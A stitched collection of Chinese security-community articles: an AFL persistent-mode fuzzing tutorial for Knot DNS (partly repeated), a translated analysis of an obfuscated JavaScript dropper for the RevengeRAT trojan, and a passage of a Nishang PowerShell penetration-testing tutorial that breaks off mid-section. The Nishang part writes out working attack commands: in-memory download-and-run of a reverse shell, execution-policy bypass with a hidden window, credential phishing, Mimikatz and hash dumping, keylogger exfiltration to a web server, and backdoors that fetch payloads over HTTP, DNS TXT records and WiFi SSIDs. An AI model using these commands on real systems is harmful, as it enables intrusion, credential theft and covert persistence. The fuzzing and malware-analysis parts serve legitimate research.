}
//** AFL 在主循环之前 定义变量 Shim1**//
/* Loop until all data is read. */
//** 循环等待socket事件，接收并处理udp数据包 **/
for (;;) {
/* Cancellation point. */
if (dt_is_cancelled(thread)) {
break;
}
/* Wait for events. */
fdset_it_t it;
(void)fdset_poll(&fds, &it, 0, -1);
// ** AFL:读取输入文件 Shim2**/
/* Process the events. */
for (; !fdset_it_is_done(&it); fdset_it_next(&it)) {
if (!fdset_it_is_pollin(&it)) {
continue;
}
if (api->udp_recv(fdset_it_get_fd(&it), rq, xdp_socket) > 0) {
api->udp_handle(&udp, rq, xdp_socket);
api->udp_send(rq, xdp_socket);
}
}
//** AFL: 通知fuzzer processing complete Shim3**/
}
finish:
api->udp_deinit(rq);
mp_delete(mm.ctx);
fdset_clear(&fds);
return KNOT_EOK;
}
##### First shim
第一个shim负责定义、初始化用于后续shim的变量
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Initialize variables for fuzzing */
size_t insize;
struct sockaddr_in servaddr;
int udp_socket;
char *env_dest_ip = getenv("KNOT_AFL_DEST_IP");
char *env_dest_port = getenv("KNOT_AFL_DEST_PORT");
int dest_port = env_dest_port ? strtol(env_dest_port, NULL, 10) : 9090;
char *dest_ip = env_dest_ip ? env_dest_ip : "127.0.0.1";
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(dest_ip);
servaddr.sin_port = htons(dest_port);
char buf[5120];
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Second shim
负责从文件中获取测试样例，并将内容填充到Knot DNS监听的socket中，方便起见，这里直接从`stdin`获取输入
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Read fuzzed packet from stdin and send to socket */
if (getenv("KNOT_AFL_STDIN") || getenv("KNOT_AFL_CMIN") ||
getenv("AFL_PERSISTENT")) {
memset(buf, 0, 5120);
insize = read(0, buf, 5120); // read fuzz case from stdin
udp_socket = handler->server->ifaces->fd_udp[0];
sendto(udp_socket, buf, insize,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
}
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Third shim
最后一个shim就是负责终止本进程，通知fuzzer本次测试完成（通过SIGSTOP信号），以便fuzzer处理下一个测试样例
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Signal AFL to fuzz input and continue execution */
if (getenv("AFL_PERSISTENT")) {
raise(SIGSTOP);
} else if (getenv("KNOT_AFL_CMIN")) {
exit(0);
}
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Configure and compile target
CC=~/path-afl/afl-clang-fast CFLAGS='-DKNOT_AFL_PERSISTENT_SHIM' ./configure --disable-shared
make
##### How run knot server
这些可以在knot项目的`Readme`中获得
1、首先需要config，使用的`./tests-fuzz/knotd_wrap/knot_stdio.conf`
2、工作目录，创建config指定的工作目录
3、启动server: `src/knotd`
##### Minimize test cases
KNOT_AFL_CMIN=1 ~/path-afl/afl-cmin -i in -o cmin -- ./src/knot -c my_config.config
KNOT_AFL_CMIN=1 ~/treebacker/fuzzwork/mm_afl/afl-2.52b/afl-cmin -i -o cmin -- ./src/knotd -c my_config.conf
##### Start fuzzing in persistent mode
AFL_PERSISTENT=1 ~/path-afl/afl-fuzz -i cmin -o out -- ./src/knot -c my_config.conf
#### More
其实在Knot-dns项目中，我们能找到开发者自己使用AFL测试的几个点：`fuzz_packet; fuzz_dnamr_from_str;
fuzz_dname_to_str, fuzz_zscanner..`
也是为fuzz目标提供一个function wrapper, 最终可以利用AFL从文件获取内容，fuzz一个调用这个function
wrapper的harness。
并且也保留了一个`knotd_wrap`，重写了udp, tcp 的recv方法，从stdin读取，便于afl模糊测试。
#### Refer
[New in AFL](https://lcamtuf.blogspot.com/2015/06/new-in-afl-persistent-mode.html)
[how-fuzz-server-american-fuzzy-lop](https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop)
[Knot-dns-Project](https://gitlab.nic.cz/knot/knot-dns/)#### Fuzz Server With
AFL
#### Problem
因为个人偏爱AFL，习惯用AFL做模糊测试，发现一些CVE，但是一直苦于AFL的工作方式，由于AFL只能够从stdin/file获取输入，变异。
而网络应用多是`socket`或者其他network相关的通信方式，而且默认情况下，afl每次都会重新启动程序，网络应用如server启动时间比较久，影响了模糊测试的效率。一般情况下，可以通过为特定的程序编写一个`harness`，用于fuzz程序的部分代码。但是这种方式首先需要你对源码有一定的理解，其次它的覆盖率比较低。
在网上学习发现这篇文章，方法与思维都很有学习应用的价值，翻译&应用后记录此文。
#### Solution: Persistent mode
AFL的工作模式与模糊测试的主循环一致：创建新的进程，提供一个case，然后监视直到进程结束，再重复...
为了避免`execve`的开销和链接等时间消耗，AFL引入了`forkserver`机制，新的进程`fork`得到，由于`copy-on-write`机制，提高了性能。
但即使如此，每次新的fuzz的不同case输入仍然会引入`fork`的开销。
对于很多测试目标，连续的`fork`和`initalization`的过程是一个代价较高的过程。在很多情况下，API是没有状态的，或者可以被重置为接近原始状态的，因此至少在一次进程结束后可以不用抛弃该进程。这就是
**进程内模糊测试** 的概念：在该方案下，测试用例是进程内部生成，并以自定义编写单进程循环的形式反馈到待测试的底层API。 **进程内模糊测试**
能够提高模糊测试效率在10x左右，但是也是有代价的：例如，它很容易由于测试代码中存在的内存泄漏或者Dos而失败。
自afl-1.81b始，afl-fuzz提供了一种`persistent`模式——将 **进程内模糊测试** 与更传统的多进程工具的强大功能结合起来。
在该模式下，afl将测试用例喂给一个单独的、存活时间长的进程，该进程读取输入，将其传递给待fuzz的API，并通过终止本进程通知fuzzer测试成功运行。最终当父进程恢复时，自定义的进程循环回到起点。只需要写一个极简的`harness`完成这样一个循环，AFL会完成细节，如crash检查。
一个简单的`harness`样例
int main(int argc, char** argv) {
while (__AFL_LOOP(1000)) {
/* Reset state. */
memset(buf, 0, 100);
/* Read input data. */
read(0, buf, 100);
/* Parse it in some vulnerable way. You'd normally call a library here. */
if (buf[0] != 'p') puts("error 1"); else
if (buf[1] != 'w') puts("error 2"); else
if (buf[2] != 'n') puts("error 3"); else
abort();
}
}
`Persisten`模式只需要控制以下两点
1、AFL何时fork目标进程
2、AFL何时提供新的测试样例。
3、每一轮循环开始需要重置目标进程状态，否则找到的bug可能是`harness`的而不是目标程序的。
#### Persisten mode & server
大部分server实现时都会在处理client的请求后重置状态，通常，一个server的实现如下
while(go):
req = get_request()
process(req)
为了使用AFL `persistent`模式，只需要如下修改程序
while(go):
put_request(read(file)) //AFL
req = get_request()
process(req)
notify_fuzzer() // AFL
#### Applying the tachnique in Knot DNS
##### Analyze
Knot DNS使用sockets通信，其中处理udp数据包的代码在`src/knot/server/udp-handler.c`中
主要函数`udp_master`中有一个循环，等待socket事件，接收并处理udp数据包，是一个合适的fuzz点。
int udp_master(dthread_t *thread)
{
if (thread == NULL || thread->data == NULL) {
return KNOT_EINVAL;
}
iohandler_t *handler = (iohandler_t *)thread->data;
int thread_id = handler->thread_id[dt_get_id(thread)];
if (handler->server->n_ifaces == 0) {
return KNOT_EOK;
}
/* Set thread affinity to CPU core (same for UDP and XDP). */
unsigned cpu = dt_online_cpus();
if (cpu > 1) {
unsigned cpu_mask = (dt_get_id(thread) % cpu);
dt_setaffinity(thread, &cpu_mask, 1);
}
/* Choose processing API. */
udp_api_t *api = NULL;
if (is_xdp_thread(handler->server->ifaces, thread_id)) {
#ifdef ENABLE_XDP
api = &xdp_recvmmsg_api;
#else
assert(0);
#endif
} else {
#ifdef ENABLE_RECVMMSG
api = &udp_recvmmsg_api;
#else
api = &udp_recvfrom_api;
#endif
}
void *rq = api->udp_init();
/* Create big enough memory cushion. */
knot_mm_t mm;
mm_ctx_mempool(&mm, 16 * MM_DEFAULT_BLKSIZE);
/* Create UDP answering context. */
udp_context_t udp = {
.server = handler->server,
.thread_id = thread_id,
};
knot_layer_init(&udp.layer, &mm, process_query_layer());
/* Allocate descriptors for the configured interfaces. */
void *xdp_socket = NULL;
size_t nifs = handler->server->n_ifaces;
fdset_t fds;
if (fdset_init(&fds, nifs) != KNOT_EOK) {
goto finish;
}
unsigned nfds = udp_set_ifaces(handler->server->ifaces, nifs, &fds,
thread_id, &xdp_socket);
if (nfds == 0) {
goto finish;
}
//** AFL 在主循环之前 定义变量 Shim1**//
/* Loop until all data is read. */
//** 循环等待socket事件，接收并处理udp数据包 **/
for (;;) {
/* Cancellation point. */
if (dt_is_cancelled(thread)) {
break;
}
/* Wait for events. */
fdset_it_t it;
(void)fdset_poll(&fds, &it, 0, -1);
// ** AFL:读取输入文件 Shim2**/
/* Process the events. */
for (; !fdset_it_is_done(&it); fdset_it_next(&it)) {
if (!fdset_it_is_pollin(&it)) {
continue;
}
if (api->udp_recv(fdset_it_get_fd(&it), rq, xdp_socket) > 0) {
api->udp_handle(&udp, rq, xdp_socket);
api->udp_send(rq, xdp_socket);
}
}
//** AFL: 通知fuzzer processing complete Shim3**/
}
finish:
api->udp_deinit(rq);
mp_delete(mm.ctx);
fdset_clear(&fds);
return KNOT_EOK;
}
##### First shim
第一个shim负责定义、初始化用于后续shim的变量
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Initialize variables for fuzzing */
size_t insize;
struct sockaddr_in servaddr;
int udp_socket;
char *env_dest_ip = getenv("KNOT_AFL_DEST_IP");
char *env_dest_port = getenv("KNOT_AFL_DEST_PORT");
int dest_port = env_dest_port ? strtol(env_dest_port, NULL, 10) : 9090;
char *dest_ip = env_dest_ip ? env_dest_ip : "127.0.0.1";
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(dest_ip);
servaddr.sin_port = htons(dest_port);
char buf[5120];
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Second shim
负责从文件中获取测试样例，并将内容填充到Knot DNS监听的socket中，方便起见，这里直接从`stdin`获取输入
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Read fuzzed packet from stdin and send to socket */
if (getenv("KNOT_AFL_STDIN") || getenv("KNOT_AFL_CMIN") ||
getenv("AFL_PERSISTENT")) {
memset(buf, 0, 5120);
insize = read(0, buf, 5120); // read fuzz case from stdin
udp_socket = handler->server->ifaces->fd_udp[0];
sendto(udp_socket, buf, insize,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
}
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Third shim
最后一个shim就是负责终止本进程，通知fuzzer本次测试完成（通过SIGSTOP信号），以便fuzzer处理下一个测试样例
#ifdef KNOT_AFL_PERSISTENT_SHIM /* For AFL persistent mode fuzzing shim */
/* Signal AFL to fuzz input and continue execution */
if (getenv("AFL_PERSISTENT")) {
raise(SIGSTOP);
} else if (getenv("KNOT_AFL_CMIN")) {
exit(0);
}
#endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
##### Configure and compile target
CC=~/path-afl/afl-clang-fast CFLAGS='-DKNOT_AFL_PERSISTENT_SHIM' ./configure --disable-shared
make
##### How run knot server
这些可以在knot项目的`Readme`中获得
1、首先需要config，使用的`./tests-fuzz/knotd_wrap/knot_stdio.conf`
2、工作目录，创建config指定的工作目录
3、启动server: `src/knotd`
##### Minimize test cases
KNOT_AFL_CMIN=1 ~/path-afl/afl-cmin -i in -o cmin -- ./src/knot -c my_config.config
KNOT_AFL_CMIN=1 ~/treebacker/fuzzwork/mm_afl/afl-2.52b/afl-cmin -i -o cmin -- ./src/knotd -c my_config.conf
##### Start fuzzing in persistent mode
AFL_PERSISTENT=1 ~/path-afl/afl-fuzz -i cmin -o out -- ./src/knot -c my_config.conf
#### More
其实在Knot-dns项目中，我们能找到开发者自己使用AFL测试的几个点：`fuzz_packet; fuzz_dnamr_from_str;
fuzz_dname_to_str, fuzz_zscanner..`
也是为fuzz目标提供一个function wrapper, 最终可以利用AFL从文件获取内容，fuzz一个调用这个function
wrapper的harness。
并且也保留了一个`knotd_wrap`，重写了udp, tcp 的recv方法，从stdin读取，便于afl模糊测试。
#### Refer
[New in AFL](https://lcamtuf.blogspot.com/2015/06/new-in-afl-persistent-mode.html)
[how-fuzz-server-american-fuzzy-lop](https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop)
[Knot-dns-Project](https://gitlab.nic.cz/knot/knot-dns/) | 社区文章 |
# 恶意代码使用JavaScript混淆规避反病毒程序
|
##### 译文声明
本文是翻译文章，文章原作者 yoroi，文章来源：blog.yoroi.company
原文地址：<https://blog.yoroi.company/research/evading-av-with-javascript-obfuscation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
该文讲述了攻击者如何使用JS混淆的方法来使一个知名远控RevengeRAT的变种躲避杀毒软件检测的。
## 1\. 介绍
几天前，Cybaze-Yoroi
ZLAB研究团队发现了一个可疑的JavaScript文件，并决定进一步关注这个可疑文件。该JavaScript文件利用了好几种技术去躲避所有反病毒程序的检测，VT上58个反病毒引擎没有一个将此文件检测出来（注：此结果为20190301的检测结果，截止到20190311，已经有5家可以检测出来了，译者在VT上搜索时显示是57家引擎）。因此，我们决定剖析并调查一下这个恶意软件到底使用了哪种技术实现了这种结果。
**图1:20190311VT检测结果**
## 2\. 技术分析
这个文件是使用JavaScript语言编写的，可以使用Windows Script
Host系统组件在本地运行该文件，该文件的大小比普通的脚本文件大了很多，大约有1M的随机文字。
**表1：JS文件信息**
Hash（Sha256） |
99b0b24dcfb29291163b66c60355b6e1454c6a3d5dfbc2cd7b86b1ca548761eb
---|---
Thread | Generic
Description | JS/Dropper
Ssdeep |
6144:+FquQGm+pYEaRFquQGnFquQGHFquQGtFquQG1FquQGrFquQGoFquQGsFquQGRFqa:+y+yTr5RPkYFV21Ge3bN2u8AVQuK6qzH
首先来看一下这个文件显示的第一个有趣的特征：脚本的主体使用了非ASCII字符集。
**图2：javascript文件结构**
这些字符看起来没有任何明显的逻辑，但是，仔细观察就会发现恶意软件作者使用的第一种技巧。他使用长字符串声明所有变量，这些长字符串混合了ASCII和UNICODE字符，甚至包括西里尔字母表中的一些字符。
`ыNиpsфбm3nxsцвиеKEсыBLQBеnьVWC`
所有变量明显可见的差异就只有变量在”_“之后的那一部分了。因此，我们可以知道恶意软件作者给所有变量的声明使用了一个共同的前缀。从图2可以看出来，变量的最后一部分都是使用下面的方式来声明的。
`var = […]_0x5e24 var =[...]_0x59ad等`
所以，解混淆的第一步就是使用一个易读的字符替换这些前缀。替换之后结果如下：
**图3：第一层解混淆**
在分析中发现的其他的混淆技巧就是上面脚本中ascii和16进制字符的混合。使用的16进制字符如下所示
`0x27 0x20 0x5c`
解混淆的第二部就是使用这些16进制字符代表的符号替换他们(文件中是x20 x27 x5c，因此替换的是这三个)。
`0x27--->' 0x20--->空格 0x5c--->`
替换之后，结果如下
**图4：第二层解混淆**
每个16进制字符之前的反斜线是必要的，JS文件用它来将十六进制字符和ASCII码结合起来。现在我们能够看到清楚的代码和隐藏在javascript
dropper中的最初的可执行部分。JS文件中包含的PE文件是以16进制的形式存在的，从图4中可以看到，这些16进制字符中存在‘$’，这是不被允许的。
**图5：可执行文件的第一部分**
上图中代码的第一行的意思是使用‘5’去替换PE文件中的‘$’。（PE文件头前面是4D5A，代码中是4D$A）,执行完替换操作后，就可以得到一个PE文件了，该PE文件就是释放在受害机器上的最终payload。（读者若是想要复制字符串将其直接存储为PE文件，可以使用sublime
正则表达式匹配来替换PE文件中的$，这样就不会把PE文件前面的JS语句中的$也替换掉了）
**图6：使用5替换PE文件中的$**
可执行文件的前4个字符是‘4D5A’，4D5A是PE文件的标志字，“MZ”。一旦所有的解混淆完成后，为了实现持久化，JS会将payload写入如下注册表键，将其设置为开机自启动。
HKCUSOFTWAREMicrosoftRunMicrosoft
JS文件中提取的Payload可以被VT上大部分反病毒引擎检测出来。
**图7:2019年2月28日JS中payload的检测结果**
该payload是知名远控木马RevengeRAT的变种，与如下C2服务器通信。
networklan[.]asuscomm[.]com
## 总结
这个恶意JS脚本的分析向我们展示了攻击者是如何轻松的隐藏恶意代码骗过反病毒引擎检测的。即使是知名的恶意代码家族（如RevengeRAT），攻击者也可以隐藏他们使他们躲过反病毒引擎。由此可见，将恶意代码混淆后隐藏在JS代码中，运行JS代码后释放出恶意代码，这种操作是可以获得0检测率的。
当然，这个例子还有其他的方面值得去深究。在2019年2月28日（该JS文件被发现的几天之后）上传检测该文件，只有2个反病毒引擎检测出来了，这证明了现代化威胁是不可能被单一、自动化工具捕捉到的。（图1为最新的检测结果） | 社区文章 |
# 【技术分享】Powershell 渗透测试工具-Nishang（二）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **V1ct0r**](http://bobao.360.cn/member/contribute?uid=2665001095)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**传送门**
[**【技术分享】Powershell 渗透测试工具-Nishang（一）**](http://bobao.360.cn/learning/detail/3182.html)
**
**
**0x00 介绍**
Powershell用于渗透测试其实早在多年前就已经被提出了。利用Powershell，攻击者可以在无需接触磁盘的情况下执行命令等，并且相较已经被大家广泛关注并防御的Cmd而言，Powershell并非那么的引人瞩目。Nishang是基于PowerShell的渗透测试专用工具。它集成了框架、脚本和各种payload，能够帮助渗透测试人员在对Windows目标的全过程检测中使用，是一款来源于作者实战经历的智慧结晶。至今，Nishang最新版本已为v0.67了。本文我将具体介绍这款实用的Powershell渗透测试工具。
**0x01 使用**
要使用Nishang，我们首先需要在[[作者的Github]](https://github.com/samratashok/nishang)上面下载它，之后加载这些脚本。
Nishang需要我们的Powershell版本在v3以上才能使用，这里顺便提供两种查看当前我们当前Powershell版本的方法:
**1.直接在我们的Powershell下执行”get-host”命令：**
**2.我们还可以在Powershell下执行”$PSVersionTable.PSVersion”：**
需要知道的是：
默认情况下的Server OS 对应的 Powershell的版本：
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
现在我们需要加载我们的脚本：
PS D:nishang-master> Import-Module .nishang.psm1
你可能会遇到下面的问题：
这是因为我们Powershell的默认的执行策略是Restricted的，而Restricted是不允许任何脚本运行的，我们可以使用下面的命令来来查看当前的执行策略：
PS D:nishang-master> Get-ExecutionPolicy
这里我们需要将执行模式改为RemoteSigned，这样就可以执行其他用户的脚本了：
PS D:nishang-master> set-executionpolicy remotesigned //这需要在管理员的状态下执行
现在，我们就可以正常进行加载了。
当然，上面是基于我们在本地进行测试的情况下，如果是在真实的攻击场景之下，我们还是不宜去做一些全局策略的更改的，这里简单推荐几个Bypass执行策略的Tricks：
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted，也算是去更改了当前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种，-Windowstyle hidden 可以让我们的执行无任何弹窗
2. PowerShell.exe -ExecutionPolicy Bypass -File
想了解更多姿势，大家可以看看Bypass执行策略的十五种方法：
<https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/>
然后，我们使用Dot Sourcing的方式来加载独立的脚本：
PS D:nishang-master> ."D:nishang-masterGatherGet-Information.ps1"
在之后的使用中，我们可以使用”Get-Help”命令来获取当前脚本的用法和说明等，如：
PS D:nishang-master> ."D:nishang-masterGatherGet-WLAN-Keys.ps1
PS D:nishang-master> Get-Help Get-Wlan-Keys
还需要说的一点是，我们可以在Powershell中使用” Out-File”来将我们的执行结果导出到文件中，如：
PS D:nishang-master> Get-Information | Out-File res.txt
就可以把获取到的信息保存在res.txt中了。
最后，需要介绍两种在内存当中去加载脚本的方式
第一种：
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] //
这里IEX可以远程下载我们的脚本
第二种，我们可以在Powershell中使用Invoke-Encode脚本来将我们现有的脚本编码压缩，生成编码后的内容，过程如下：
PS D:nishang-master> Invoke-Encode -DataToEncode "D:nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand
Encoded data written to .encoded.txt
Encoded command written to .encodedcommand.txt
在我们的encodedcommand.txt文件中我们可以看到编码后的内容和效果：
然后在目标上(Web shell,meterpreter native shell等都可以)使用如下命令执行：
C:Userstarget> powershell -e [encodedscript]
这里涉及到的Invoke-PowerShellTcp脚本，我们将在后文对于具体模块的脚本介绍时谈到。
**0x02 模块介绍**
**0.信息搜集**
Check-VM
从这个脚本的名字就可以看出来，它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息（如：Hyper-V, VMWare,
Virtual PC, Virtual Box,Xen,QEMU）来识别。
执行方式：
PS > Check-VM
测试
Copy-VSS
这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM
hive也能被拷贝出来。
执行方式：
PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:temp //指定保存文件的路径（必须是已经存在的路径）
测试
Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的。
执行方式：
PS > Invoke-CredentialsPhish
测试
执行后会弹出这个框欺骗用户输入
直到用户输入正确后这个框才会消失，然后我们就可以得到明文的管理员账号密码：
FireBuster FireListener
FireBuster可以对内网进行扫描，它会把包发给FireListener
执行方式：
PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020
该脚本作者的Github上面还提供了一个Python版的监听端：
<https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/>
测试
我们首先在我们的机器（Attacker）上面运行FireListener：
FireListener 100-110
Victim：
FireBuster 192.168.199.1 90-110 -Verbose
Get-Information
这个脚本可以获取目标机器上大量的信息（FTP访问，进程，计算机配置信息，无线网络和设备的信息，Hosts信息等等非超丰富）。
执行方式：
PS > Get-Information
还可以用我们前面说过的Out-File来将运行结果保存到指定文件。
Get-LSASecret
该脚本可以获取LSA信息，但是使用的前提当然是你已经成功提升了权限的情况下，通常和我们后面提权当中涉及到的Enable-DuplicateToken（帮助我们获得System权限）联合使用。
执行方式：
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
Get-PassHashes
这个脚本在Administrator的权限下，可以dump出密码哈希值。这个脚本来自于msf中powerdump，但做出了修改，使得我们不再需要System权限就可以dump了。
执行方式：
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
Get-WLAN-Keys
在Administrator的权限下，可以利用这个脚本来dump出WLAN文件的密钥信息。实质上，这个脚本就是利用了netsh wlan show
profile name=”” key=clear来获取。
执行方式：
PS > Get-WLAN-Keys
Keylogger
Keylogger可以保存下用户的键盘记录。
执行方式：
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串，如果存在的话就停止使用记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .Keylogger.ps1 -persist //实现持久化记录（重启后依然进行记录）
PS > .Keylogger.ps1 //直接以这种方式来运行，键盘记录会保存在当前用户的Temp目录下key文件中
测试
首先执行 PS > .Keylogger.ps1
发现在当前用户的Temp目录下生成了Key的文件，这时我们使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys .key.log .parsed.txt
然后parsed.txt里面就是解析后的按键记录了
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系统用户密码。
执行方式：
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
执行了
PS >Invoke-MimikatzWDigestDowngrade
Windows会锁屏
之后执行
Get-Job
发现尝试多次都测试失败
解决办法可以参考：
[[域渗透——Dump Clear-Text Password after KB2871997
installed]](http://www.myhack58.com/Article/html/3/62/2016/75903.htm)
Get-PassHints
这个脚本可以从Windows获得用户的密码的提示信息，需要有Administrator的权限来读取SAM hive。
执行方式：
PS > Get-PassHints
Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面，在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器（如：Firefox）访问本机对应监听端口，即可在浏览器上面看到远端传输回来的实时画面。
PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 //将远程的画面传送到192.168.230.1的443端口
测试
Victim：
Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse
Attacker：
nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //这里我使用的NC，也可以用Powercat
本机访问：127.0.0.1:9000
Invoke-Mimikatz
Mimikatz大家都非常熟悉了，就不再介绍了
执行方式：
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
**1.域相关脚本**
Get-Unconstrained
查找域内开启了Kerberos Unconstrained Delegation的机器。
执行方式：
PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details //返回更详细的信息
关于”通过Kerberos Unconstrained Delegation获取到域管理员”：
<http://www.freebuf.com/articles/terminal/98530.html>
**2.Antak Webshell**
Antak
一个ASPX的Webshell，通过这个Webshell可以编码、执行脚本，上传、下载文件。
执行方式：
上传Webshell后把它当成一个正常的Powershell执行窗口来使用
上传和下载文件，只需要填写好对应路径点击上传、下载按钮即可
关于Antak Webshell的更多介绍，请参考：
<http://www.labofapenetrationtester.com/2014/06/introducing-antak.html>
**3.后门**
HTTP-Backdoor
HTTP-Backdoor可以帮助我们在目标机器上下载和执行Powershell脚本
执行方式：
PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
下面解释下几个比较重要的参数：
CheckURL 给出一个URL地址，如果存在我们MagicString中的值就去执行Payload - 下载运行我们的脚本
PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址
Arguments 这个参数指定我们要执行的函数
StopString 这个参数也会去看是否存在我们CheckURL返回的字符串，如果存在就会停止执行
DNS_TXT_Pwnage
利用DNS隧道来进行信息传输、通信的小技巧已经不少见了。在Nishang中也集成了一个通过DNS
TXT来接收命令或者脚本的后门脚本。使用DNS_TXT_Pwnage这个脚本，我们一般需要配合Utility下的Out-DnsTxt使用。
所以这里首先说下Out-DnsTxt的使用：
PS >Out-DnsTxt -DataToEncode path //path处是你想编码的内容的路径
之后，它会生成一个编码后的文件，如下图所示
然后我们去添加对应的TXT记录就行了，encoded.txt文件中每一行为一条记录
添加完后我们还需要添加两条TXT记录，内容为start和stop
添加完成后，我们就可以利用DNS_TXT_Pwnage这个脚本了
执行方式：
PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop
具体参数的意思：
startdomain 会一直去检测我们指定域名的TXT记录，并把返回的记录与我们输入的cmdstring以及psstring进行比较
cmdstring 是我们任意输入的字符串，如果startdomain与我们这里输入的cmdstring值相等则执行commanddomain命令
commanddomain 创建的执行命令TXT记录的域名
psstring 是我们任意输入的字符串，如果与我们这里输入的psstring值相等则执行psdomain脚本
psdomain 是我们创建的执行脚本TXT记录的域名
Subdomains 是执行脚本创建TXT记录的个数
StopString 是任意输入的字符串，如果这里输入的字符串与startdomain中返回的记录相同将会停止执行我们的Payload
Arguments 指定要执行的函数名
Execute-OnTime
执行方式：
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
具体参数的意思：
PayloadURL 指定我们脚本下载的地址
Arguments 指定执行的函数名
Time 参数可以设定脚本执行的时间（例如 -Time 23:21）
CheckURL 参数会检测我们一个指定的URL内容是否存在StopString给出的字符串，如果发现了就停止执行
Gupt-Backdoor
Gupt-Backdoor这个脚本可以帮助我们通过无线SSID反弹后门和执行命令。
执行方式：
PS >Gupt-Backdoor -MagicString test -Verbose
这里解释一下MagicString这个参数：
MagicString开头的4个字符是用来识别我们建立的WIFI
SSID的。例如，这里是test，Gupt后门会去自动匹配我们WIFI中SSID以test开头的。而MagicString这个参数从第五个字符开始就决定了我们是执行命令或是下载脚本。
需要注意的是：
如果它的第五个字符是c就代表执行命令。
例如：-MagicString testcwhoami
就会匹配WIFI SSID为test的，并执行命令whoami
如果它的第五个字符是u的话就代表下载脚本。
例如：-MagicString testuXXXX
就会匹配WIFI SSID为test的，并默认下载http://goo.gl/XXXX
（其中http://goo.gl可在脚本的$PayloadURL参数中修改）
还可以用Arguments参数来指定下载脚本
例如：
PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose
就可以下载Get-Information的脚本了
补充
Windows下创建一个WIFI：
cmd
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=test key=1234567890
netsh wlan start hostednetwork
Add-ScrnSaveBackdoor
这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门
执行方式：
